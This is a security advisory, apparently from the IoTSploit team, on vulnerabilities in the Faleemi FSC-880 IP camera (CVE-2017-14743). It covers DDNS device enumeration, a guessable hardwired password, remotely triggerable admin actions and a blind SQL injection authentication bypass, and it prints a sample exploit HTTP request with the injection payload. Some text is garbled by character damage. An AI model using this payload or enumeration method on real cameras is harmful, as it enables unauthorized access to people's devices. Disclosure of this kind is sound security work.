Full disclosure is here: https://medium.com/iotsploit/faleemi-fsc-880-multiple-security-vulnerabilities-ed1d132c2cce === Timeline: 25 August 2017: the research was made 29 August 2017: an email was sent to the vendor, but with no answer 25 September 2017: public disclosure 26 September 2017: assigned CVE-2017a14743 https://www.faleemi.com/product/fsc880-1080p-wirelee-ip-camera/ Firmware: 00.01.01.0048P2 (2017-07-27) This camera has multiple security vulnerabilities, which can be exploited both locally and remotely. In particular, hardwired manufacturer DDNS and port-mapping to camera via upnp compatible router. Allowing for the discovered avoidance of authentication and RCE, this camera is an ideal candidate for another botnet such as Mirai. CVE-2017a14743 Vulnerabilities RCE Works in stock firmware 00.01.01.0046 (E2017a03-**) In the latest firmware (00.01.01.0048P2 (2017a07a27)) this is fixedaaaftp client is removed.

The following functions can be executed remotely: Configure Camera Format SD card Delete Logs Steal image from camera These actions and commands can be executed from admin browser. The indecent hacker only needs to lure the admin to their page. Similar attacks on routers have been registered in the past: http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html And some more epic stuff Manufactureras DDNS enumeration There are hardwired DDNS manufacturer settings found in the device. The device sends an http request using udp www.nwsvr1.com, and sends its internal address and admin web panel IP address to API http://www.nwsvr1.com/api/userip.asp The device we researched has DDNS name 009lfld.nwsvr1.com. Knowing that device names are generated automatically, it is possible to enumerate the entire range of names using a mask 00\d[a-z]{4}.nwsvr1.com and obtain a full list of devices in the network. We found a total of 758000 devices, which connected with this DDNS at least once in the past. These are cameras by different manufacturers, that are somehow related to each other. Around 3% of devices are in the network.. HK 18.41% US 12.72% DE 9.94% ES 6.77% FR 5.66% AR 5.09% GB 5.00% DK 3.79% IT 3.34% PL 3.04% MX 1.90% CN 1.55% VN 1.53% JP 1.53% HU 1.40% CL 1.27% BR 1.20% TH 1.19% A little over 20% of all devices use a default password. Virtually all devices are accessible by ONVIF A similar number (20a25 thousands devices are online) are vulnerable to auth bypass via sqli. We have serious concerns that the DDNs password, which is hardwired into the device by the manufacturer is incremental. This means that it is possible to reverse-calculate the password to the camera based on its DDNS name. This raises the risk of the password being hijacked if the IP cards are switched on DDNS server, then redirected the admin using a camera with a DDNS name and grabs the password using his own authentication form. Authorization bypass via blind SQLi Prior 00.01.01.0048P2 (2017a07a27)aaa0DAY A device without authentication on web-port has an accessible endpoint by default /onvif/ ONVIF is an API standard for such devices. WSDL can be downloaded from the official website (www.onvif.org). API uses authentication by tokens. This device also has an SQL injection vulnerability in the username field of the authentication token. Using this it is possible to obtain an admin password. Example of the exploit: /* https://medium.com/iotsploit/faleemi-fsc-880-multiple-security-vulnerabilities-ed1d132c2cce */ POST /onvif/device_service HTTP/1.1 Content-Type: application/soap+xml Content-Length: 1076 charset: utf-8 Host: 192.168.0.100 Connection: close adfgadfhart' AND 1=2 UNION SELECT 1,'admin',(select unicode(substr(C_PassWord, 2, 1)) from t_user limit 1 OFF SET 0),'remark'/* UHZj ybNG8udkMEflf+LjkCUmR88= fD nW+mqvvsID/WJGNR6QWQ== 1970-01-01T00:03:58 .674Z To do this, the date and time set in the device are needed because they are used to build the password field of the authentication token. We drafted this POC, which allows to extract from the camera a password and gain entry to the device using admin credentials. This research was made by IoTSploit Team.
